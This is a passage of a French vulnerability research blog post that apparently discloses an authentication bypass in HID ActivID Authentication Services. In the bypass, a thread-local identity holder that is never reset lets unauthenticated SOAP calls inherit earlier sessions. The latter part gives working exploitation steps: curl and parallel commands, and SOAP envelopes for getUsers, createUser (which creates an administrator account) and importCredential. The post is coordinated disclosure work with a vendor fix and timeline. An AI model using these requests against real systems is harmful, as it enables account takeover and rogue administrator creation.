query path:
- /testing\/.*/
Enfin, nous lançons la suite de requêtes sur la base de données :
$ codeql database analyze ~/codeql/databases/activid-authentication-services-weblogic-8.5/ --format=sarif-latest -o activid-authentication-services-weblogic-8.5.sarif javasec.qls
Ici, nous sélectionnons le format de sortie SARIF (Static Analysis Results Interchange Format). Comme son nom l'indique, ce format est largement supporté par les outils SAST.
Note : L'analyse de la base de données peut être gourmande en ressources. Vous pouvez ajuster les ressources que vous allouez à CodeQL en utilisant les options --ram et --threads.
Interprétation des résultats
L'extension SARIF Viewer peut ensuite être utilisée pour visualiser les résultats :
Bien que certains résultats aient semblé prometteurs au départ, après une étape de vérification, la plupart des vulnérabilités signalées ont été qualifiées de faux positifs. Soit parce que nous n'avons trouvé aucun moyen d'atteindre le code mentionné, soit parce que la donnée altérée était assainie avant d'atteindre la fonction dangereuse finale.
Revue manuelle de l'application
Cette partie est généralement très chronophage. Nous n'entrerons pas dans trop de détails ici afin de maintenir la taille de cet article de blog à un niveau raisonnable. Il existe essentiellement deux approches qui peuvent être combinées. La première, l'approche top-down, consiste à suivre toutes les routes qui ont été identifiées lors de la phase de découverte de la surface d'attaque. La seconde, l'approche bottom-up, consiste à rechercher des fonctions ou des schémas vulnérables connus et à essayer d'identifier des chemins qui atteignent ces emplacements, comme nous l'avons fait initialement en utilisant CodeQL. Enfin, les deux approches peuvent être combinées en une approche hybride en rassemblant autant d'informations que possible pour tenter de relier les points d'entrée aux points de sortie, tout en gardant une très bonne compréhension du fonctionnement interne de l'application. Le débogueur peut être d'une grande aide lorsque vous essayez de comprendre comment atteindre une partie spécifique du code.
Nous avons passé beaucoup de temps sur les endpoints /ssp et /idp, car ces deux points d'accès sont intensivement utilisés par les utilisateurs finaux, en particulier lors de l'authentification.
Après avoir passé du temps à examiner le code sans succès, nous avons décidé d'essayer une approche différente et avons commencé à interagir dynamiquement avec tous les endpoints que nous avions détectés jusqu'à présent.
Au cours de notre analyse de la surface d'attaque, nous nous sommes souvenus que nous avions identifié certains endpoints SOAP, mis en évidence par le nom du fichier de configuration Nginx /etc/nginx/include/app/SoapAPI.conf. Cependant, nous n'avions pas réussi à interagir avec ceux-ci jusqu'à présent :
# ...
location ^~ /ac-iasp-backend-jaxws/ {
proxy_pass https://$upstream;
limit_except POST {
deny all;
}
if ($request_uri ~* "(?:wsdl|xsd)$") {
return 404;
}
include /etc/nginx/include/soaperrorhandling.conf;
}
Après quelques recherches sur Google, nous avons réalisé que JAXWS signifiait Jakarta XML Web Services. Il s'agit d'une méthode pour exposer des services SOAP en définissant des classes Java, c'est-à-dire de manière déclarative. Par exemple, le service UserManager est défini comme suit :
File: com/actividentity/service/iasp/backend/bean/UserManagerBean.java
34: @WebService(
35: name = "UserManager",
36: serviceName = "UserService",
37: targetNamespace = "http://jaxws.user.frontend.iasp.service.actividentity.com"
38: )
39: @HandlerChain(
40: file = "/LoginHandlerChain.xml"
41: )
42: @TransactionAttribute(TransactionAttributeType.NEVER)
43: public class UserManagerBean extends ProcessManager implements UserManagerLocal, UserManagerRemote
Comme l'indique la documentation, ce décorateur WebService devrait créer un endpoint nommé UserService, et sa documentation WSDL (Web Services Description Language) devrait être accessible à l'adresse /ac-iasp-backend-jaxws/UserService?wsdl. Nous avons donc d'abord modifié la configuration Nginx afin de permettre l'envoi d'autres verbes HTTP que POST, et de donner accès aux URL se terminant par wsdl ou xsd :
location ^~ /ac-iasp-backend-jaxws/ {
proxy_pass https://$upstream;
include /etc/nginx/include/soaperrorhandling.conf;
}
L'accès à l'endpoint de documentation SOAP UserService nous donne maintenant le résultat suivant :
Le fait d'avoir le format WSDL de l'endpoint SOAP nous a permis de lancer l'extension Burp Wsdler, afin d'analyser le WSDL et le XSD référencé et d'obtenir des requêtes HTTP pré-construites :
Les requêtes générées sont loin d'être parfaites, mais l'extension facilite grandement l'ensemble du processus de génération et permet d'interagir facilement avec les endpoints SOAP. Voici un exemple avec l'endpoint UserManager :
À ce stade, seul l'un d'entre nous s'est penché sur cette partie de l'application, et voici ce qui s'est passé :
En effet, sur l'instance de Vincent, la requête suivante a fonctionné :
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: hid:443
Content-Length: 391
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<!--type: long-->
<arg1>testu7</arg1>
<!--type: long-->
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 09 Sep 2025 17:49:05 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
X-ORACLE-DMS-ECID: 9eb94a90-9da2-4982-bc84-65fb42ed1688-0000029f
X-ORACLE-DMS-RID: 0
Content-Length: 953
<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns1:findUserIdsResponse
xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com">
<!-- ... -->
<return>
<id>spl-helpdesk</id>
<type>User</type>
</return>
<return>
<id>spl-stp</id>
<type>User</type>
</return>
<return>
<id>spl-api</id>
<type>User</type>
</return>
<return>
<id>spl-cmsadmin</id>
<type>User</type>
</return>
<return>
<id>sys15188351801401656</id>
<type>User</type>
</return>
<return>
<id>spl-useradmin</id>
<type>User</type>
</return>
</ns1:findUserIdsResponse>
</S:Body>
</S:Envelope>
Alors que du côté de Pierre, une erreur serveur 503 est obtenue !
Investigation du comportement suspect
Afin d'interagir avec les classes Java internes responsables des opérations métier, l'application ActivID utilise plusieurs EJB qui sont accessibles via HTTP grâce à JAXWS. Comme nous l'avons vu, ces endpoints sont accessibles via /ac-iasp-backend-jaxws/*.
Analyse de l'authentification aux services JAXWS
L'application d'authentification ActivID expose des EJBs via JAXWS en annotant certaines de ses classes avec @WebService.
Par exemple, la classe com.aspace.ftress.interfaces70.ejb.bean.UserManagerBean :
File: com/actividentity/service/iasp/backend/bean/UserManagerBean.java
34: @WebService(
35: name = "UserManager",
36: serviceName = "UserService",
37: targetNamespace = "http://jaxws.user.frontend.iasp.service.actividentity.com" 38: )
39: @HandlerChain(
40: file = "/LoginHandlerChain.xml"
41: )
42: @TransactionAttribute(TransactionAttributeType.NEVER)
43: public class UserManagerBean extends ProcessManager implements UserManagerLocal, UserManagerRemote
Lors de l'accès à l'EJB demandé, JAXWS exécute d'abord la HandlerChain, qui agit comme un middleware avant d'exécuter l'endpoint SOAP. Dans ce cas, la HandlerChain pointe vers le fichier LoginHandlerChain.xml, défini comme suit :
File: ac-iasp-backend.jar::LoginHandlerChain.xml
1: <?xml version="1.0" encoding="UTF-8"?>
2: <jws:handler-chains xmlns:jws="http://java.sun.com/xml/ns/javaee">
3: <!-- Note: The '*" denotes a wildcard. -->
4: <jws:handler-chain name="LoginHandlerChain">
5: <jws:handler>
6: <jws:handler-class>com.actividentity.service.iasp.backend.handler.LoginHandler</jws:handler-class>
7: </jws:handler>
8: </jws:handler-chain>
9: </jws:handler-chains>
Seul un handler est déclaré, com.actividentity.service.iasp.backend.handler.LoginHandler, et il effectue les opérations suivantes :
File: com/actividentity/service/iasp/backend/handler/LoginHandler.java
31: public class LoginHandler implements SOAPHandler<SOAPMessageContext> {
32: private static Logger logger = LogManager.getInstance().getLogger(LoginHandler.class);
33: private static final QName subjectName = new QName("mySubjectUri", "mySubjectHeader"); // [A.4]
[...]
39:
40: public boolean handleMessage(SOAPMessageContext var1) {
41: this.readMessage(var1); // [A.1]
42: return true;
[...]
51:
52: private void readMessage(SOAPMessageContext var1) {
53: logger.debug("LoginHandler: Read SOAP header");
54: Boolean var2 = (Boolean)var1.get("javax.xml.ws.handler.message.outbound");
55: if (!var2) {
56: try {
57: SOAPMessage var3 = var1.getMessage();
58: SOAPEnvelope var4 = var3.getSOAPPart().getEnvelope();
59: SOAPHeader var5 = var4.getHeader();
60: Iterator var6 = var5.examineAllHeaderElements();
61:
62: while (var6.hasNext()) { // [A.2]
63: SOAPHeaderElement var7 = (SOAPHeaderElement)var6.next();
64: if (var7.getElementQName().equals(subjectName)) { // [A.3]
65: logger.debug("LoginHandler: header found, unmarshall it");
66: JAXBElement var8 = jc.createUnmarshaller().unmarshal(var7, MySubject.class); // [A.5]
67: var8.getDeclaredType();
68: MySubject var9 = (MySubject)var8.getValue(); // [A.6]
69: this.setSubject(var9); // [A.7]
70: break;
71: }
72: }
73: } catch (Exception var10) {
74: SubjectHolder.setSubject(null); // [A.8]
75: logger.error("LoginHandler: error getting subject in SOAP header", var10);
76: }
Un tel handler qui implémente l'interface SOAPHandler exécutera la méthode LoginHandler.handleMessage dès réception d'une requête HTTP SOAP. Dans le cas de ce handler, au niveau de [A.1], la méthode readMessage est appelée. Ensuite, à [A.2], le code itère sur les éléments soapenv:header, et recherche une entrée ([A.3]) qui correspond à mySubjectHeader, lequel est défini à [A.4]. Puis, il appelle la méthode com.actividentity.service.iasp.backend.handler.LoginHandler.setSubject à [A.7] avec l'objet subject fourni par l'utilisateur, qui est unmarshalé ([A.5]) puis récupéré en [A.6]. Enfin, si une exception est levée, la méthode LoginHandler.setSubject est appelée avec un Subject nul, et la fonction de l'EJB est ensuite exécuté. La méthode LoginHandler.setSubject est définie comme suit :
File: com/actividentity/service/iasp/backend/handler/LoginHandler.java
080: private void setSubject(MySubject var1) {
081: logger.trace("LoginHandler.setSubject: Begin");
082: Subject var2 = new Subject(); // [B.1]
[...]
092: ChannelCodePrincipal var11 = new ChannelCodePrincipal(var1.getChannel());
093: ALSIPrincipal var12 = new ALSIPrincipal(var1.getUserAlsi()); // [B.2]
[…]
100: var2.getPrincipals().add(var12); // [B.3]
[...]
106: logger.trace("LoginHandler.setSubject: End");
107: SubjectHolder.setSubject(var2); // [B.4]
108: }
À [B.1], une instance de javax.security.auth.Subject est créée à partir de l'instance MySubject fournie. Ensuite, à [B.2], la valeur ALSI fournie par l'utilisateur est récupérée, puis définie sur l'instance Subject.
Cette valeur ALSI imprévisible est utilisée par l'application comme session stockée côté serveur.
En [B.3], la méthode statique SubjectHolder.setSubject est appelée :
File: com/actividentity/service/iasp/util/security/SubjectHolder.java
01: package com.actividentity.service.iasp.util.security;
02:
03: import javax.security.auth.Subject;
04:
05: public class SubjectHolder {
06: static ThreadLocal<Subject> subject = new ThreadLocal<>(); // [C.2]
07:
08: public static Subject getSubject() {
09: return subject.get();
10: }
11:
12: public static void setSubject(Subject var0) {
13: subject.set(var0); // [C.1]
14: }
15: }
En [C.1], l'instance Subject créée est définie sur le champ statique SubjectHolder.subject. Comme indiqué à [C.2], ce champ est défini comme static et est lié au thread qui exécute la requête SOAP.
Ainsi, lors de l'authentification, cette valeur est soit :
- Définie par l'utilisateur si une valeur
soapenv:Header mySubjectHeaderest fournie. - Définie à
nullsi une exception est levée dans la méthodecom.actividentity.service.iasp.backend.handler.LoginHandler.readMessage.
Premier cas - Subject et ALSI fournis
Lorsque un mySubjectHeader est fourni, par exemple :
<soapenv:Header>
<tni:mySubjectHeader>
<name>ftadmin</name>
<userAlsi>DacOCAAAAZlShHsUMm7siFbXPNj+LkCnh2IRjemp</userAlsi>
<!-- [...] -->
<channel>CH_DIRECT</channel>
<domain>MySecurityDomain</domain>
</tni:mySubjectHeader>
</soapenv:Header>
La trace suivante est obtenue lors de la tentative d'exécution de l'une des méthodes EJB exposées, entraînant une exception com.actividentity.service.iasp.AuthorizationException :
com.actividentity.service.iasp.AuthorizationException
com.aspace.ftress.business.exception.ALSIInvalidException
com.aspace.ftress.business.authentication.AuthenticationManagerBean.validateALSI
com.aspace.ftress.business.authentication.AuthenticationManagerBean.getValidALSISession
com.aspace.ftress.business.authentication.AuthenticationManagerBean.getValidALSISession
com.aspace.ftress.interfaces70.ejb.bean.AbstractFtressBean.getALSISession
com.aspace.ftress.interfaces70.ejb.bean.AuthenticatorManagerBean.createUPAuthenticator
com.actividentity.service.iasp.uiconfbp.action.credential.ImportCredentialActionHandler.importUPCredential
[...]
En effet, l'application tente de reconstruire un nouveau Subject à partir de l'ALSI fourni. Au bout de cette trace, la méthode com.aspace.ftress.business.authentication.AuthenticationManagerBean.validateALSI est appelée avec l'ALSI contrôlé par l'utilisateur (var1) et celui supposé exister dans la base de données (var2) :
File: com/aspace/ftress/business/authentication/AuthenticationManagerBean.java
981: private AuthenticationManagerBean.SessionValidationResult validateALSI(ALSI var1, ALSISession var2, boolean var3) throws ALSIInvalidException, InternalException {
982: if (var2 == null) {
983: String var6 = var1.getAlsi();
984: throw new ALSIInvalidException(1901L, var6); // [D.1]
985: } else {
986: Date var4 = CoreSecurityHelper.getNow();
987: AuthenticationManagerBean.SessionValidationResult var5 = this.checkIfSessionTimedOut(var2, var1, var4);
988: if (var3) {
989: var2.setLastUsed(var4);
990: var5.setSessionUpdated(true);
991: }
992:
993: return var5;
994: }
995: }
Comme aucune session n'a été retournée par la base de données, var2 est égal à null, et une ALSIInvalidException est levée à [D.1], avec la valeur 1901 comme première valeur, correspondant au code d'erreur suivant [E.1] :
File: com/aspace/ftress/business/exception/ALSIInvalidException.java
3: public class ALSIInvalidException extends BusinessException {
4: public static final long SESSION_INVALID = 1900L;
5: public static final long SESSION_DOES_NOT_EXIST = 1901L; // [E.1]
Enfin, l'exception ALSIInvalidException est interceptée, et une nouvelle AuthorizationException est créée et retournée à l'utilisateur final.
Second cas - Pas d'ALSI
Lorsque aucun ALSI n'est fourni, le champ statique SubjectHolder.subject reste inchangé au sein du thread actuel, car le LoginHandler ne lève aucune exception en l'absence de header SOAP d'authentification.
Cependant, cette valeur est toujours utilisée pendant le reste de l'exécution. Lors de l'appel de n'importe quelle classe JAXWS, la classe sous-jacente effectue un appel à la fonction héritée com.actividentity.service.iasp.backend.manager.ProcessManager.triggerProcess :
File: com/actividentity/service/iasp/backend/manager/ProcessManager.java
15: protected BPVariableMap triggerProcess(String var1, BPVariableMap var2) throws Throwable {
16: var2.put("subject", SubjectHolder.getSubject()); // [F.1]
17: return this.getDelegate().triggerProcess(var1, var2);
18: }
Ce design pattern permet de distribuer les appels aux fonctions sous-jacentes, où la chaîne de caractères var1 correspond à la méthode demandée (par exemple, "importCredential") et où var2 représente un dictionnaire contenant les arguments de l'appel à cette méthode.
À [F.1], l'entrée subject est définie avec la valeur stockée par SubjectHolder.subject. Cette dernière est ensuite utilisée afin de vérifier si le sujet dispose des droits nécessaires pour appeler la méthode demandée.
Quelques mécanismes internes
L'utilisateur AT_SYSPKI
Lors de l'accès à l'endpoint /ssp, la trace d'exécution suivante est observée jusqu'à l'appel de SubjectHolder.SetSubject :
com.actividentity.service.iasp.util.security.SubjectHolder.setSubject
com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicyManager
com.actividentity.idp.backend.IDASHelper.access$400
com.actividentity.idp.backend.IDASHelper$6.tryExecute
com.actividentity.idp.backend.IDASHelper$DirecUserAction.execute
com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicy
[...]
La méthode com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicy est définie comme suit, et prend comme premier paramètre le domaine de l'application :
File: com/actividentity/idp/backend/IDASHelper.java
464: public static AuthenticationPolicy[] getAuthenticationPolicy(String var0) throws Exception {
[...]
472: var3 = (new IDASHelper.DirecUserAction<AuthenticationPolicy[]>(var0) {
473: public AuthenticationPolicy[] tryExecute() throws Exception { // [G.1]
474: AuthenticationPolicy[] var1x = IDASHelper.getAuthenticationPolicyManager(this.subject).findAuthenticationPolicies(var1, 0L, 0L); // [G.3]
475: if (var1x != null && var1x.length != 0) {
476: return var1x;
477: } else {
478: throw new NoSuchAuthenticationPolicyException("No policies found");
479: }
480: }
481: }).execute(); // [G.2]
[...]
487: }
À [G.1], une fonction in-linée tryExecute est déclarée, laquelle est ensuite exécutée à [G.2]. Cette fonction appellera IDASHelper.getAuthenticationPolicyManager, en utilisant sa propriété subject comme premier paramètre à [G.3].
D'abord, la méthode execute est appelée, et elle est définie comme suit :
File: com/actividentity/idp/backend/IDASHelper.java
1049: public abstract static class DirecUserAction<T> {
[...]
1059: public T execute() throws Exception {
1060: this.subject = SessionMultiPool.acquireSession(this.domain); // [H.1]
En [H.1], la valeur du subject est définie comme étant la valeur de retour de SessionMultiPool#acquireSession, avec le domaine de l'application comme premier paramètre :
File: com/actividentity/idp/backend/sessionpool/SessionMultiPool.java
11: public class SessionMultiPool {
[...]
13: private static final SessionMultiPool instance;
14: private Map<String, IaspSubject> theConfigurations = new HashMap<>();
[...]
28: public static IaspSubject acquireSession(String var0) throws SessionPoolException {
29: SessionMultiPool var1 = getInstance();
30: synchronized (var1.theConfigurations) {
31: IaspSubject var3 = var1.theConfigurations.get(var0); // [I.1]
32: if (var3 != null && var1.callback.checkSession(var3)) { // [I.2]
33: return var3; // [I.3]
34: } else {
35: log.debug("Creating new direct user session");
36: var3 = var1.callback.authenticate(var0); // [I.4]
37: var1.theConfigurations.put(var0, var3); // [I.5]
38: return var3; // [I.6]
39: }
40: }
41: }
Cette fonction retourne une instance IaspSubject, qui hérite de la classe Subject. Cette instance est stockée dans la hashmap theConfigurations.
Elle est récupérée à [I.1] et retournée à [I.3]. Si aucun IaspSubject n'est stocké à la clé correspondant au domaine ([I.2]), alors une nouvelle instance est créée à [I.4] et stockée dans la map à [I.5]. Cette valeur est retournée à [I.6].
Dans la configuration par défaut de l'application d'authentification ActivID, le subject retourné par l'appel de la fonction callback.authenticate correspond à l'utilisateur AT_SYSPKI :
Ainsi, la propriété subject de l'instance DirecUserAction est définie sur celle représentant AT_SYSPKI.
À [G.3], la fonction com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicyManager est appelée :
File: com/actividentity/idp/backend/IDASHelper.java
143: private static AuthenticationPolicyManager getAuthenticationPolicyManager(IaspSubject var0) throws FactoryException {
144: logger.trace("Begin getAuthenticationPolicyManager");
145: AuthenticationPolicyManager var1 = AuthenticationPolicyManagerFactory.getAuthenticationPolicyManager(null);
146: SubjectHolder.setSubject(var0.getSubject()); // [H.1]
147: logger.trace("End getAuthenticationPolicyManager");
148: return var1;
149: }
À [H.1], la fonction SubjectHolder.setSubject est appelée et définit la valeur de la propriété statique subject de la classe SubjectHolder.
Cette valeur n'est jamais réinitialisée par la suite. Par conséquent, une identité AT_SYSPKI est définie sur le thread.
Authentification des utilisateurs
Lorsqu'un utilisateur s'authentifie sur l'application, par exemple sur la console d'administration située sur /aiconsole, le même schéma d'authentification est observé. Le subject identifiant l'utilisateur est alors défini sur la propriété statique SubjectHolder.subject.
En effet, la trace d'exécution suivante est observée :
com.actividentity.service.iasp.util.security.SubjectHolder.setSubject
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkAuthorization
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkGroupFunctionPrivilege
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkPermission
com.actividentity.iasp.ui.jaas.utils.Authorisation.checkPermission
Une fois authentifié, un appel à SubjectHolder.setSubject est effectué et définit la valeur de la propriété statique subject de la classe SubjectHolder.
Cette valeur n'est jamais réinitialisée par la suite. Par conséquent, l'identité de l'utilisateur qui vient de s'authentifier est définie sur le thread.
Qualification de la vulnérabilité
Étant donné que l'authentification des services JAXWS repose sur la valeur stockée dans la propriété statique SubjectHolder.subject, lorsque aucune d'authentification n'est fournie, il est possible d'obtenir une valeur qui a été définie précédemment.
En d'autres termes, un utilisateur non authentifié peut usurper l'identité d'un utilisateur précédemment connecté. Les actions qu'il sera en mesure d'effectuer dépendront des privilèges de cet utilisateur précédemment authentifié.
Premier scenario : Authentification en tant que AT_SYSPKI
Dans ce premier scénario, aucun utilisateur n'est authentifié sur l'application avant l'attaque.
Premièrement, un appel SOAP getUsers à l'endpoint UserManager, qui nécessite une authentification, est effectué :
$ cat envelope.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com" xmlns:tni="mySubjectUri">
<soapenv:Header/>
<soapenv:Body>
<jax:getUsers>
<arg0>
<!--type: string-->
<id>ftadmin</id>
</arg0>
</jax:getUsers>
</soapenv:Body>
</soapenv:Envelope>
$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @envelope.xml https://hid/ac-iasp-backend-jaxws/UserManager -D - -o /dev/null
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Fri, 19 Sep 2025 15:01:57 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns0:Fault xmlns:ns0="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://www.w3.org/2003/05/soap-envelope"><faultcode>ns0:Server</faultcode><faultstring></faultstring><detail><ns0:ManagementException xmlns:ns0="http://iasp.service.actividentity.com/"><stackTraceElements><className>com.actividentity.service.iasp.backend.bean.UserManagerBean</className><fileName>UserManagerBean.java</fileName>
[...]
Ensuite, plusieurs requêtes sont effectuées vers l'endpoint /ssp en utilisant curl :
$ parallel -j50 'curl -ksL https://hid/ssp -o /dev/null; echo "[i] Request {}"' ::: {1..50}
[i] Request 1
[...]
[i] Request 49
Enfin, un appel SOAP getUsers à l'endpoint UserManager est effectué :
$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @envelope.xml https://hid/ac-iasp-backend-jaxws/UserManager
<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns1:getUsersResponse
xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com">
<return>
<created>
<date>2011-01-01T00:00:00Z</date>
</created>
<id
xmlns:ns2="http://user.iasp.service.actividentity.com/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns2:userId">
<id>ftadmin</id>
<type>User</type>
</id>
<modified/>
<state>ENABLED</state>
<validityEnd/>
<validityStart/>
<aliases>
<aliasType>UserExternalReference</aliasType>
<value>ftadmin</value>
</aliases>
<dataSourceId>
<id>UR_INTERNAL</id>
<type>DataSource</type>
</dataSourceId>
<parentGroup>
<id>FTADMIN</id>
<type>Group</type>
</parentGroup>
</return>
</ns1:getUsersResponse>
</S:Body>
</S:Envelope>
Les informations de l'utilisateur ftadmin sont récupérées.
Second scenario d'exploitation : Création d'un administrateur
Dans ce deuxième scénario, un compte administrateur est actuellement authentifié sur l'application.
D'abord, l'utilisateur ftadmin s'authentifie sur la console d'administration ActivID :
Ensuite, le message XML suivant est créé afin d'interagir avec la méthode createUser de l'endpoint UserManager :
$ cat createUser.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:createUser>
<arg0>
<created>
<!--type: dateTime-->
<date>2025-09-29T03:49:45</date>
</created>
<id xmlns:ns2="http://user.iasp.service.actividentity.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns2:userId">
<!--type: string-->
<id>synacktivadm</id>
<!--type: string-->
<type>User</type>
</id>
<!--type: string-->
<state>ENABLED</state>
<validityEnd>
<!--type: dateTime-->
<date>2033-08-09T02:18:37+02:00</date>
</validityEnd>
<validityStart>
<!--type: dateTime-->
<date>2012-09-13T15:00:34+02:00</date>
</validityStart>
<aliases>
<aliasType>UserExternalReference</aliasType>
<value>synacktivadm</value>
</aliases>
<dataSourceId>
<id>UR_INTERNAL</id>
<type>DataSource</type>
</dataSourceId>
<entries key="TITLE" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="LASTNAME" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="FIRSTNAME" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="ATR_EMAIL" dynamic="false" sensitive="false"><value>test3@s1n.fr</value></entries><parentGroup><id>FTADMIN</id><type>Group</type></parentGroup>
<roleIds>
<!--type: string-->
<id>RL_USERADM</id>
<!--type: string-->
<type></type>
</roleIds>
</arg0>
</jax:createUser>
</soapenv:Body>
</soapenv:Envelope>
La commande curl suivante est effectuée :
$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @createUser.xml https://hid/ac-iasp-backend-jaxws/UserManager
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns1:createUserResponse xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com"><return xmlns:ns2="http://user.iasp.service.actividentity.com/" xmlns:ns0="http://iasp.service.actividentity.com/"><id>synacktivadm</id><type>User</type></return></ns1:createUserResponse></S:Body></S:Envelope>
Note : il peut être nécessaire d'envoyer cette requête plusieurs fois, car un thread authentifié doit être atteint.
Enfin, le message XML suivant est créé afin d'interagir avec la méthode importCredential de l'endpoint CredentialManager :
$ cat importUser.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.credential.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:importCredential>
<arg0>
<id>4TRESS:USR:synacktivadm</id>
<type>UserType</type>
</arg0>
<arg1>
<validityEnd>
<date>2028-02-14T19:44:14</date>
</validityEnd>
<validityStart>
<date>2018-11-01T06:36:46+01:00</date>
</validityStart>
</arg1>
<arg2 key="credentialField">
<value>password01</value>
</arg2>
<arg2 key="username">
<value>synacktivadm</value>
</arg2>
<arg2 key="expiryThreshold">
<value>-1</value>
</arg2>
<arg3>
<id>4TRESS:CT:UP:AT:OP_ATCODE</id>
<type>CredentialProfile</type>
</arg3>
</jax:importCredential>
</soapenv:Body>
</soapenv:Envelope>
Le message est envoyé avec la commande curl suivante :
$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @importUser.xml https://hid/ac-iasp-backend-jaxws/CredentialManager
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns1:importCredentialResponse xmlns:ns1="http://jaxws.credential.frontend.iasp.service.actividentity.com" xmlns:ns2="http://jaxws.configuration.frontend.iasp.service.actividentity.com"><return xmlns:ns4="http://credential.iasp.service.actividentity.com/" xmlns:ns3="http://configuration.iasp.service.actividentity.com/" xmlns:ns5="http://lifecycle.iasp.service.actividentity.com/" xmlns:ns0="http://iasp.service.actividentity.com/" xmlns:ns6="http://profile.iasp.service.actividentity.com/"><id>4TRESS:AT:OP_ATCODE:USR:synacktivadm:CT:UP</id><type>Credential</type></return></ns1:importCredentialResponse></S:Body></S:Envelope>
L'utilisateur synacktivadm qui vient d'être créé peut alors s'authentifier sur la Console d'Administration ActivID et effectuer des tâches d'administration.
Timeline
| Date | Description |
|---|---|
| 10.10.2025 | Avis de sécurité envoyé à HID Global |
| 17.10.2025 | Confirmation du bug |
| 28.10.2025 | Publication du correctif FIXS2510005 |
| 12.12.2025 | Publication de cet article |
Conclusion
La découverte de vulnérabilités dans de grandes applications web se résume rarement à une seule méthode d'analyse, et ce cas ne faisait pas exception. Disposer d'un environnement de débogage adéquat et utiliser une approche hybride, en combinant une revue de code ciblée, des tests dynamiques et une analyse CodeQL, nous a permis d'avoir rapidement une vue claire de la cible, de ses points d'entrée et de son architecture.
L'approche utilisée n'est pas la seule façon de découvrir des faiblesses, mais c'est une approche solide, surtout lorsque l'on traite de grandes bases de code dans un temps limité. Si vous souhaitez renforcer vos compétences en audit d'applications web, n'hésitez pas à jeter un œil à notre cours Practical 0 Day web hunting !
Enfin, nous tenons à remercier HID pour leur réactivité et leur communication claire durant l'analyse de la vulnérabilité remontée et la mise en place d'un correctif.